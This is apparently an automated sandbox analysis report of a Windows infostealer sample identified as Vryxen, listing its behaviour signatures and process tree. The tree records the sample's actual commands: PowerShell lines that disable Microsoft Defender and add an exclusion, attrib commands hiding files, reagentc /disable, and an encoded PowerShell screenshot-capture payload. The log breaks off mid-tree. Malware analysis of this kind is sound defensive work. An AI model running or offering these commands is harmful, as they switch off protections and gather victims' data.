Overview

overview

10

Static

static

10

2026-10-03...st.exe

windows10-2004-x64

10

2026-10-03...st.exe

windows11-ltsc_2024-x64

10

Analysis

  • max time kernel
    150s
  • max time network
    129s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    04/10/2026, 05:56

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    2026-10-03_9e8efdbf23cf7771edd907627b0b624c_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe
  • Size 10.5MB
  • Sample261004-gm8f6s1alg
  • SHA256 48465675dcb74efd6735d878ddb7c98d57a60db19a4e6e60c8913a8ac81e95d2
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
credential_accessdefense_evasiondiscoveryexecutionvryxenpersistenceprivilege_escalationspywarestealertrojan

Malware Config

Signatures

  • Family: Vryxen

    Vryxen is an open-source stealer written in Golang.

    stealervryxen
  • Detects Vryxen stealer 1 IoCs
  • Detect binaries embedding considerable number of cryptocurrency wallet browser extension IDs. 1 IoCs
  • Detects binaries (Windows and macOS) referencing many web browsers. Observed in information stealers 1 IoCs
  • Detects executables containing SQL queries to confidential data stores. Observed in infostealers 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Disables one or more Microsoft Defender components 1 TTPs 2 IoCs

    Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

    defense_evasion
  • Drops file in Drivers directory 6 IoCs
  • Executes dropped EXE 1 IoCs
  • Reads WinSCP keys stored on the system 2 TTPs

    Tries to access WinSCP stored sessions.

    spywarestealer
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

    spywarestealer
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

    credential_accessstealer
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Contacts third-party web service commonly abused for C2 1 TTPs 3 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Enumerates connected drives 3 TTPs 10 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Looks up external IP address via web service 1 TTPs 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

    discovery
  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

    defense_evasion
  • Discovers running processes 1 TTPs 52 IoCs

    Running process information can be used to identify security tools or plan follow-on actions.

    discovery
  • Drops file in System32 directory 2 IoCs
  • Drops file in Windows directory 8 IoCs
  • Queries system WMI classes for hardware identifiers 2 TTPs 2 IoCs

    Uses WMI to read hardware serial numbers or the system UUID, commonly used to fingerprint the victim machine.

    discovery
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

    persistenceprivilege_escalation
  • Executes a command shell one-liner 1 TTPs 64 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Modifies trusted root certificate store through registry 1 TTPs 2 IoCs

    A root certificate was added, modified, or removed in the trusted certificate store registry paths.

    defense_evasion
  • Reads the TCP/IP host and domain name from the registry 1 TTPs 20 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

    discovery
  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

    discovery
  • Detects videocard installed 1 TTPs 2 IoCs

    Uses WMIC.exe to determine videocard installed.

  • GoLang User-Agent 2 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

  • Modifies system certificate store 2 TTPs 6 IoCs
    defense_evasionspywaretrojan
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Views/modifies file attributes 1 TTPs 7 IoCs
    defense_evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-10-03_9e8efdbf23cf7771edd907627b0b624c_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-10-03_9e8efdbf23cf7771edd907627b0b624c_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe"
    1⤵
    • Drops file in Drivers directory
    • Adds Run key to start application
    • Enumerates connected drives
    • Modifies trusted root certificate store through registry
    • Reads the TCP/IP host and domain name from the registry
    • Modifies system certificate store
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:5900
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq 360chrome.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4248
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq 360chrome.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:4228
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq 360se.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:2320
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq 360se.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:2232
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq avant.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:1368
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq avant.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:1764
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq brave.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:1504
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq brave.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:1584
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq chrome.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:2692
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq chrome.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:3440
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq chromium.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:5864
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq chromium.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:252
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq citrio.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:3820
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq citrio.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:2492
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq comodo_dragon.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:2488
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq comodo_dragon.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:3472
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq coolnovo.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:1052
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq coolnovo.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:2412
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq coowon.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:5356
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq coowon.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:4812
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq cyberfox.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:3876
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq cyberfox.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:1396
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq deepnet.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:5888
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq deepnet.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:1172
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq dooble.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:2620
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq dooble.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:3504
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq epic.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:3464
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq epic.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:1844
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq firefox.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:3556
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq firefox.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:2092
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq iceweasel.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:5784
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq iceweasel.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:1928
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq iridium.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:2712
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq iridium.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:5968
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq k-meleon.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:1648
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq k-meleon.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:3496
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq maxthon.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4132
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq maxthon.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:2684
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq msedge.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4572
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq msedge.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:4164
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq netscape.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4728
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq netscape.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:5236
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq opera.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:3364
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq opera.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:4336
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq palemoon.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:3708
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq palemoon.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:4664
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq safari.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4568
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq safari.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:5484
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq seamonkey.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:2772
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq seamonkey.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:5804
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq sleipnir.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4204
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq sleipnir.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:3388
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq sputnik.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:692
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq sputnik.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:5340
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq torch.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:2364
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq torch.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:5536
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq ucbrowser.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:5856
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq ucbrowser.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:5948
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq vivaldi.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:1832
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq vivaldi.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:3308
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq waterfox.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4760
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq waterfox.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:5580
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq yandex.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:1424
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq yandex.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:3840
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq yandexbrowser.exe"
      2⤵
      • Executes a command shell one-liner
      PID:2208
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq yandexbrowser.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:460
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq operagx.exe"
      2⤵
      • Executes a command shell one-liner
      PID:3208
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq operagx.exe"
        3⤵
        • Discovers running processes
        • Suspicious use of AdjustPrivilegeToken
        PID:5544
    • C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Temp\2026-10-03_9e8efdbf23cf7771edd907627b0b624c_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe
      2⤵
      • Views/modifies file attributes
      PID:4960
    • C:\Windows\system32\reagentc.exe
      reagentc.exe /disable
      2⤵
      • Drops file in System32 directory
      • Drops file in Windows directory
      PID:5276
    • C:\Windows\system32\tasklist.exe
      tasklist
      2⤵
      • Discovers running processes
      • Suspicious use of AdjustPrivilegeToken
      PID:5688
    • C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
      2⤵
      • Views/modifies file attributes
      PID:4244
    • C:\Windows\system32\tasklist.exe
      tasklist
      2⤵
      • Discovers running processes
      • Suspicious use of AdjustPrivilegeToken
      PID:5464
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Local\Temp\2026-10-03_9e8efdbf23cf7771edd907627b0b624c_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Enumerates connected drives
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1160
    • C:\Windows\System32\Wbem\wmic.exe
      wmic os get Caption
      2⤵
      • Reads the TCP/IP host and domain name from the registry
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3616
    • C:\Windows\System32\Wbem\wmic.exe
      wmic cpu get Name
      2⤵
      • Reads the TCP/IP host and domain name from the registry
      • Suspicious behavior: EnumeratesProcesses
      PID:3388
    • C:\Windows\System32\Wbem\wmic.exe
      wmic path win32_VideoController get name
      2⤵
      • Reads the TCP/IP host and domain name from the registry
      • Detects videocard installed
      • Suspicious behavior: EnumeratesProcesses
      PID:5732
    • C:\Windows\System32\Wbem\wmic.exe
      wmic csproduct get UUID
      2⤵
      • Queries system WMI classes for hardware identifiers
      • Reads the TCP/IP host and domain name from the registry
      • Suspicious behavior: EnumeratesProcesses
      PID:2328
    • C:\Windows\system32\netsh.exe
      netsh wlan show profiles
      2⤵
      • Event Triggered Execution: Netsh Helper DLL
      • System Network Configuration Discovery: Wi-Fi Discovery
      PID:3504
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Disables one or more Microsoft Defender components
      • Enumerates connected drives
      • Suspicious behavior: EnumeratesProcesses
      PID:2992
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
      2⤵
      • Enumerates connected drives
      PID:268
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\d0uws5hv\d0uws5hv.cmdline"
        3⤵
          PID:796
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES773A.tmp" "c:\Users\Admin\AppData\Local\Temp\d0uws5hv\CSCACFF5587EEF742A89FFE2561D67A17B5.TMP"
            4⤵
              PID:4256
        • C:\Windows\system32\attrib.exe
          attrib -r C:\Windows\System32\drivers\etc\hosts
          2⤵
          • Drops file in Drivers directory
          • Views/modifies file attributes
          PID:5344
        • C:\Windows\system32\attrib.exe
          attrib +r C:\Windows\System32\drivers\etc\hosts
          2⤵
          • Drops file in Drivers directory
          • Views/modifies file attributes
          PID:5592
      • C:\Windows\System32\svchost.exe
        C:\Windows\System32\svchost.exe -k netsvcs -p -s BDESVC
        1⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:2972
      • C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
        C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
        1⤵
        • Drops file in Drivers directory
        • Executes dropped EXE
        • Enumerates connected drives
        • Reads the TCP/IP host and domain name from the registry
        • Suspicious use of AdjustPrivilegeToken
        PID:5860
        • C:\Windows\system32\cmd.exe
          cmd /C tasklist /FI "IMAGENAME eq 360chrome.exe"
          2⤵
          • Executes a command shell one-liner
          PID:4880
          • C:\Windows\system32\tasklist.exe
            tasklist /FI "IMAGENAME eq 360chrome.exe"
            3⤵
            • Discovers running processes
            • Suspicious use of AdjustPrivilegeToken
            PID:4580
        • C:\Windows\system32\cmd.exe
          cmd /C tasklist /FI "IMAGENAME eq 360se.exe"
          2⤵
          • Executes a command shell one-liner
          PID:6004
          • C:\Windows\system32\tasklist.exe
            tasklist /FI "IMAGENAME eq 360se.exe"
            3⤵
            • Discovers running processes
            • Suspicious use of AdjustPrivilegeToken
            PID:4436
        • C:\Windows\system32\cmd.exe
          cmd /C tasklist /FI "IMAGENAME eq avant.exe"
          2⤵
          • Executes a command shell one-liner
          PID:4976
          • C:\Windows\system32\tasklist.exe
            tasklist /FI "IMAGENAME eq avant.exe"
            3⤵
